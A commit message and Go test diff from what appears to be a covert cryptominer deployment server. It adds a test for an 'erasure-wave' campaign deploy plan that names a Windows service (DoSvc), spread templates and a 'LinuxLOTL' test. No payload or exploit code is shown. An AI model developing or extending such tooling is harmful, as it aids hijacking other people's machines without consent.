Close test-gap noise rows and sync coverage documentation.

Restore P1/P2/fleet/erasure COVERED rows in PROBLEMS.md with refreshed counts; drop fixed poll-duplication and Vitest-noise items. Silence ECONNREFUSED stderr in Vitest setup, alias download mock exports, and expand erasure/Path Tracer test coverage.

server/internal/api/deploy_plan_integration_test.go

@@ -7,6 +7,8 @@ import (
 	"net/http/httptest"
 	"strings"
 	"testing"
+
+	"crypto-miner-server/internal/erasure"
 )
 
 func postDeployPlan(t *testing.T, h *DeployPlanHandler, body string) map[string]interface{} {
@@ -109,6 +111,38 @@ func TestPostDeployPlanHTTPLinuxLOTL(t *testing.T) {
 	}
 }
 
+func TestPostDeployPlanHTTPErasureEnabled(t *testing.T) {
+	root := t.TempDir()
+	writeDeploySpreadTemplates(t, root)
+	h := testDeployPlanHandlerWithRoot(t, root)
+	store := erasure.NewShardStore()
+	h.BindErasure(func() bool { return true }, store)
+
+	out := postDeployPlan(t, h, `{
+		"services":[{"name":"DoSvc","status":"running"}],
+		"platform":"windows","build_id":"b1","campaign":"erasure-wave"
+	}`)
+	plan, ok := out["plan"].(map[string]interface{})
+	if !ok {
+		t.Fatalf("plan=%v", out["plan"])
+	}
+	erasurePlan, ok := plan["erasure_plan"].(map[string]interface{})
+	if !ok || erasurePlan["enabled"] != true {
+		t.Fatalf("erasure_plan=%v", plan["erasure_plan"])
+	}
+	shards, ok := erasurePlan["shards"].([]interface{})
+	if !ok || len(shards) != 6 {
+		t.Fatalf("shards=%v", erasurePlan["shards"])
+	}
+	token, _ := erasurePlan["shard_token"].(string)
+	if token == "" {
+		t.Fatal("expected shard_token")
+	}
+	if _, ok := store.Get(token, 0); !ok {
+		t.Fatal("expected stored shard for HTTP deploy plan")
+	}
+}
+
 func TestPostDeployPlanHTTPRejectsEmptyServices(t *testing.T) {
 	h := testDeployPlanHandler(t)
 	srv := httptest.NewServer(http.HandlerFunc(h.PostDeployPlan))